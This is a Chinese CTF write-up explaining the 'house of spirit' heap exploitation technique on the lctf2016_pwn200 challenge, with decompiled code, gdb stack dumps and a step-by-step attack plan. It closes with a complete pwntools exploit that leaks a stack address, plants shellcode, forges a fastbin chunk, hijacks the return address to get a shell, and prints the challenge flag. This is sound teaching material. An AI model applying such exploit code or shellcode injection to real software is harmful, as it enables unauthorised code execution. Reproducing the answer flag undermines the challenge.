

# [pwn][堆利用]house of spirit[例题： lctf2016\_pwn200]

原创

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1 篇文章 0 订阅

订阅专栏

## House of spirit

实现目的

- malloc分配到目标地址

实现条件

- free的参数可控
- 目标地址可以连续构造两个fake chunk的size域，需要地址对齐(即目标高低地址处均有可控区域)

实现方法

- 在目标地址伪造可以被释放到fastbin上的fake chunk
- 伪造fake chunk的同时伪造好其下一个chunk(物理上的)的size域
- 将目标地址作为参数free
- malloc一次，将返回指向目标地址的指针

实现实例

题目平台

- buuctf

题目名称

- lctf2016\_pwn200

分析步骤

- 常规检查

```
[*] '/home/cz/Desktop/1'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x400000)
RWX:      Has RWX segments
```

防护全闭

- 逐步分析

```

1 int name()
2 {
3     signed __int64 i; // [rsp+10h] [rbp-40h]
4     char v2[48]; // [rsp+20h] [rbp-30h]
5
6     puts("who are u?");
7     for ( i = 0LL; i <= 0x2F; ++i )
8     {
9         read(0, &v2[i], 1uLL);
10        if ( v2[i] == 10 )
11        {
12            v2[i] = 0;
13            break;
14        }
15    }
16    printf("%s, welcome to ISCC~ \n", v2);
17    puts("give me your id ~~?");
18    get_id();
19    return sub_400A29();
20}

```

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输入名字时没有溢出，但是存在泄露

```

-0000000000000040 var_40      dq ?
-0000000000000038 var_38      dq ?
-0000000000000030 var_30      db 48 dup(?)
+0000000000000000 s          db 8 dup(?)
+0000000000000008 r          db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

```

根据栈帧结构，被泄露的地方应该是rbp

```

...
04:0020 0x7fffffffdf28 -> 0x7ffff7a24740 (atoi+16) ← add    rsp, 8
05:0028 0x7fffffffdf30 ← 9 /* '\t' */
06:0030 0x7fffffffdf38 -> 0x4008b5 ← leave
07:0040 0x7fffffffdf40 -> 0x7fffffffdf00 -> 0x7fffffffef0b0 ← 0x1
08:0040 0x7fffffffdf48 -> 0x603260 ← 0x0
09:0048 rbp 0x7fffffffdf50 -> 0x7fffffffdfb0 -> 0x7fffffffdfd0 -> 0x400b60 ← push   r15
0a:0050 0x7fffffffdf58 -> 0x400b34 ← leave
0b:0058 0x7fffffffdf60 -> 0x7ffff7dcc2a0 (_IO_file_jumps) ← add    byte ptr [rax], al
0c:0060 0x7fffffffdf68 -> 0x7ffff7a6e8c9 (_IO_file_setbuf+9) ← test   rax, rax
0d:0068 0x7fffffffdf70 ← 0x30 /* '0' */
0e:0070 0x7fffffffdf78 ← 0x0
0f:0078 0x7fffffffdf80 ← 0x6161616161616161 ('aaaaaaaa')
10:0080 0x7fffffffdf88 ← 0x6262626262626262 ('bbbbbbbb')
11:0088 0x7fffffffdf90 ← 0x6363636363636363 ('cccccccc')
12:0090 0x7fffffffdf98 ← 0x6161616161616161 ('aaaaaaaa')
13:0098 0x7fffffffdfa0 ← 0x6262626262626262 ('bbbbbbbb')
14:00a0 0x7fffffffdfa8 ← 0x6363636363636363 ('cccccccc')
15:00a8 0x7fffffffdfb0 -> 0x7fffffffdfd0 -> 0x400b60 ← push   r15
16:00b0 0x7fffffffdfb8 -> 0x400b59 ← mov    eax, 0

```

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经过gdb调试，确认是rbp，我们可以通过被泄露的rbp推算其他栈上的地址了

```

int sub_4007DF()
{
    int result; // eax
    char nptr[8]; // [rsp+0h] [rbp-10h]
    int v2; // [rsp+8h] [rbp-8h]
    int i; // [rsp+Ch] [rbp-4h]

    v2 = 0;

```

```

for ( i = 0; i <= 3; ++i )
{
    read(0, &nptr[i], 1uLL);
    if ( nptr[i] == 10 )
    {
        nptr[i] = 0;
        break;
    }
    if ( nptr[i] > 57 || nptr[i] <= 47 )
    {
        printf("0x%x ", (unsigned int)nptr[i]);
        return 0;
    }
}
v2 = atoi(nptr);
if ( v2 >= 0 )
    result = atoi(nptr);
else
    result = 0;
return result;
}

```

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继续分析，在获取id时仅能输入三位，并且只能输入数字

ida伪c代码中有一部分并没有显示完全

```

printf("%s, welcome to ISCC~ \n", v2);
puts("give me your id ~~?");
get_id();
return get_money();

```

尽管看上去get\_id的返回值没有被保存

但事实上.....

```

.text:000000000400AFA loc_400AFA:                                ; CODE XREF: name+54↑j
.text:000000000400AFA     lea     rax, [rbp+var_30]
.text:000000000400AFE     mov     rsi, rax
.text:000000000400B01     mov     edi, offset aSWelcomeToIscc ; "%s, welcome to ISCC~ \n"
.text:000000000400B06     mov     eax, 0
.text:000000000400B0B     call   _printf
.text:000000000400B10     mov     edi, offset aGiveMeYourId ; "give me your id ~~?"
.text:000000000400B15     call   _puts
.text:000000000400B1A     mov     eax, 0
.text:000000000400B1F     call   get_id
.text:000000000400B24     cdq
.text:000000000400B26     mov     [rbp+var_38], rax
.text:000000000400B2A     mov     eax, 0
.text:000000000400B2F     call   get_money
.text:000000000400B34     leave
.text:000000000400B35     retn
.text:000000000400B35 ; } // starts at 400A8E
.text:000000000400B35 name     endp

```

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从汇编代码可以看出，get\_id的值被保存在了name的上面

```

-000000000000004A     db ? ; undefined
-0000000000000049     db ? ; undefined
-0000000000000048     db ? ; undefined
-0000000000000047     db ? ; undefined
-0000000000000046     db ? ; undefined
-0000000000000045     db ? ; undefined
-0000000000000044     db ? ; undefined
-0000000000000043     db ? ; undefined
-0000000000000042     db ? ; undefined
-0000000000000041     db ? ; undefined
-0000000000000040     var_40     dq ?
-0000000000000038     var_38     dq ?
-0000000000000030     var_30     db 48 dup(?)
+0000000000000000     s         db 8 dup(?)

```

```
+0000000000000008 r          db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

进入get\_money

```
int sub_400A29()
{
    char buf; // [rsp+0h] [rbp-40h]
    char *dest; // [rsp+38h] [rbp-8h]

    dest = (char *)malloc(0x40uLL);
    puts("give me money~");
    read(0, &buf, 0x40uLL);
    strcpy(dest, &buf);
    ptr = dest;
    return print_menu();
}
```

首先malloc了一个0x40的chunk，向其中输入最多0x40个字节，然后将chunk位置保存在全局变量ptr中  
在向chunk中读入内容时存在溢出

```
read(0, &buf, 0x40uLL);

-0000000000000040 buf          db ?
-0000000000000009          db ? ; undefined
-0000000000000008 dest       dq ? ; offset
+0000000000000000 s          db 8 dup(?)
```

可以修改被保存在ptr上的chunk位置

```
int print_menu()
{
    int v0; // eax

    while ( 1 )
    {
        while ( 1 )
        {
            meun();
            v0 = get_id();
            if ( v0 != 2 )
                break;
            out();
        }
        if ( v0 == 3 )
            break;
        if ( v0 == 1 )
            in();
        else
            puts("invalid choice");
    }
    return puts("good bye~");
}
```

在用户选单中，选择out会把ptr上保存的chunk立即free掉，并将ptr置零，选择in会检测ptr是否为0，如果为0则malloc一个大小在0~0x80内的chunk

通过对伪代码的分析，可以发现程序的结构是函数一个个的调用，这种结构很容易造成返回地址的低地址和高地址可控。同时，由于第一次申请chunk时存在的溢出，可以控制一次free的参数，满足house of spirit的条件

```
0x7fffffffdef8 → 0x7ffff7ffe170 ← 0
0x75555555d500 → 0x75555555d550 → 0x75555555d5b0 → 0x75555555d5d0 → 0x75555555d5f0
```

```

0x7fffffffdf00 → 0x7fffffffdf50 → 0x7fffffffdf00 → 0x7fffffffdf00 → 0x400000 ← ...
0x7fffffffdf08 → 0x400a8c ← leave
0x7fffffffdf10 ← 'dddbbbccccaaaa\n'
0x7fffffffdf18 ← 'ccccaaaa\n'
0x7fffffffdf20 ← 0xa /* '\n' */
0x7fffffffdf28 → 0x7ffff7a24740 (atoi+16) ← add    rsp, 8
0x7fffffffdf30 ← 9 /* '\t' */
0x7fffffffdf38 → 0x4008b5 ← leave
0x7fffffffdf40 ← 0x7ffff003233 /* '32' */
0x7fffffffdf48 → 0x603260 ← 'dddbbbccccaaaa\n'
0x7fffffffdf50 → 0x7fffffffdfb0 → 0x7fffffffdfd0 → 0x400b60 ← push   r15
0x7fffffffdf58 → 0x400b34 ← leave
0x7fffffffdf60 → 0x7ffff7dcc2a0 (_IO_file_jumps) ← add    byte ptr [rax], al
0x7fffffffdf68 → 0x7ffff7a6e8c9 (_IO_file_setbuf+9) ← test   rax, rax
0x7fffffffdf70 ← 0x10
0x7fffffffdf78 ← 0x20 /* ' ' */
0x7fffffffdf80 ← 'aaaabbbbccccddd'
0x7fffffffdf88 ← 'ccccddd'
0x7fffffffdf90 → 0x7fffffffdf00 → 0x7fffffffdf50 → 0x7fffffffdfb0 → 0x7fffffffdfd0 ←
0x7fffffffdf98 → 0x4006b0 ← xor    ebp, ebp

```

在gdb调试的过程中可以发现，0x7fffffff78保存了我们输入id，而0x7fffffff10保存了我们输入第一个堆块的内容，0x7fffffff10往下0x40个字节都是我们的可控位置，在二者之间保存了get\_money的返回地址

- 此时完整的攻击思路出来了
  - 利用get\_name处的泄漏点获取栈地址，并写入shellcode
  - 在get\_id处伪造fake chunk的下一个chunk(物理上的)的size域
  - 在get\_money处伪造fake chunk并利用溢出改写ptr上的值为fake chunk的地址
  - free fake chunk
  - malloc回来，改写返回地址为shellcode
  - 选择退出，触发被改写的返回地址，执行shellcode
  - getshell

• 按照思路编写writeup

- 泄露栈地址，写入shellcode

```

pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.sendafter("who are u?",pay)
p.recvuntil(pay)
stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
print "stack add="+hex(stack_add)
fake_chunk=stack_add-0xb0
name_add=stack_add-0x50

```

- 伪造fake chunk以及其后的chunk size

```

p.sendlineafter("give me your id ~?", "97")
pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
p.sendafter("give me money~",pay);

```

- free然后malloc回来

```

p.sendlineafter("your choice :", "2")
p.sendlineafter("your choice :", "1")
p.sendlineafter("how long?", "80")
pay="\x00"*0x38+p64(name_add)
p.sendlineafter("give me more money :", pay);

```

- getsneil

```
p.sendlineafter("your choice :", "3")
```

- 完整wp

```
from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux',log_level='debug')
#p=process("./1")
p=remote('node3.buuoj.cn','29646')
elf=ELF("./1")

pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.sendafter("who are u?",pay)
p.recvuntil(pay)
stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
print "stack add="+hex(stack_add)
fake_chunk=stack_add-0xb0
name_add=stack_add-0x50

p.sendlineafter("give me your id ~~?", "97")
pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
p.sendafter("give me money~",pay);

p.sendlineafter("your choice :", "2")
p.sendlineafter("your choice :", "1")
p.sendlineafter("how long?", "80")
pay="\x00"*0x38+p64(name_add)
p.sendlineafter("give me more money :",pay);
p.sendlineafter("your choice :", "3")

p.interactive()
```

- 运行效果

```
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2b bytes:
'flag{e2e9fe71-0c08-43f7-b97c-5fab9c22d998}\n'
flag{e2e9fe71-0c08-43f7-b97c-5fab9c22d998}
```

总结: house of spirit的原理是绕过free到fastbin上的检查,使得一块本来我们不具有写能力的内存被malloc返回。这种漏洞点容易出现在一个函数调用另一个函数,并且两个函数在栈上都有可控区间的情况下,在这种情况下,我们可以通过house of spirit获得修改返回地址的能力,从而劫持程序流。